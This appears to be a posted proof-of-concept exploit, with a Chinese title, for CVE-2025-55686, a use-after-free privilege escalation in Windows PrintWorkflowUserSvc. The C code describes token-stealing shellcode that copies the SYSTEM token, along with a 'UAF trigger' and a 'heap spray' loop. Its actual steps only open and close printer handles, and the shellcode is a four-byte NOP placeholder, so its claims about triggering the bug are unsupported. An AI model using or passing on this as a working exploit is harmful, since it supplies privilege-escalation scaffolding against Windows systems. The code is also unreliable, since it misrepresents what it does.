CVE-2025-55686 Windows PrintWorkflowUserSvc UAF本地权限提升漏洞

// CVE-2025-55686 - Windows PrintWorkflowUserSvc Use After Free LPE // Proof of Concept (Educational/Research purposes only) // Target: Windows PrintWorkflowUserSvc - Local Privilege Escalation // Note: This is a conceptual PoC based on the vulnerability description. #include <windows.h> #include <stdio.h> #include <winspool.h> #pragma comment(lib, "winspool.lib") // Shellcode placeholder - replace with actual token-stealing shellcode // to steal SYSTEM token and apply to current process for privilege escalation unsigned char shellcode[] = { // Token stealing shellcode for Windows x64 // This shellcode typically: // 1. Locates the current process EPROCESS structure // 2. Finds the SYSTEM process (PID 4) EPROCESS // 3. Copies the SYSTEM token pointer to current process // 4. Returns to user mode with elevated privileges 0x90, 0x90, 0x90, 0x90 // NOP sled (placeholder) }; // Function to trigger the Use After Free in PrintWorkflowUserSvc BOOL TriggerUAF() { HANDLE hPrinter = NULL; PRINTER_DEFAULTS pd = {0}; pd.DesiredAccess = PRINTER_ALL_ACCESS; // Step 1: Open a printer handle to interact with PrintWorkflowUserSvc if (!OpenPrinter(L"Microsoft Print to PDF", &hPrinter, &pd)) { printf("[-] Failed to open printer handle. Error: %d\n", GetLastError()); return FALSE; } printf("[+] Printer handle obtained: %p\n", hPrinter); // Step 2: Send crafted print job to trigger UAF condition // The vulnerability is triggered when specific print workflow // operations cause premature object deallocation while references // are still held within PrintWorkflowUserSvc DWORD bytesNeeded = 0; GetPrinter(hPrinter, 2, NULL, 0, &bytesNeeded); BYTE* pBuffer = (BYTE*)malloc(bytesNeeded); if (pBuffer && GetPrinter(hPrinter, 2, pBuffer, bytesNeeded, &bytesNeeded)) { printf("[+] Printer information retrieved successfully\n"); } // Step 3: Trigger the vulnerable code path // Manipulate print job lifecycle to cause use-after-free // by forcing object release while references persist ClosePrinter(hPrinter); // Step 4: Heap spray to control freed memory region // Allocate objects of similar size to reclaim freed memory // with attacker-controlled data containing shellcode for (int i = 0; i < 1000; i++) { HANDLE hFakePrinter = NULL; OpenPrinter(L"Microsoft Print to PDF", &hFakePrinter, &pd); // Spray heap with controlled data if (hFakePrinter) ClosePrinter(hFakePrinter); } printf("[+] UAF trigger sequence completed\n"); return TRUE; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-55686 PoC - PrintWorkflowUserSvc LPE\n"); printf("[*] Target: Windows PrintWorkflowUserSvc UAF\n\n"); // Check current privilege level BOOL isElevated = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION elevation; DWORD size = sizeof(elevation); GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &size); isElevated = elevation.TokenIsElevated; CloseHandle(hToken); } if (isElevated) { printf("[!] Already running with elevated privileges\n"); return 0; } printf("[*] Current process running with standard privileges\n"); printf("[*] Attempting to trigger vulnerability...\n\n"); // Trigger the use-after-free vulnerability if (!TriggerUAF()) { printf("[-] Failed to trigger vulnerability\n"); return 1; } printf("\n[+] Exploit attempt completed\n"); printf("[*] Note: Actual exploitation requires precise heap manipulation\n"); printf("[*] and a working token-stealing shellcode for the target OS version.\n"); return 0; }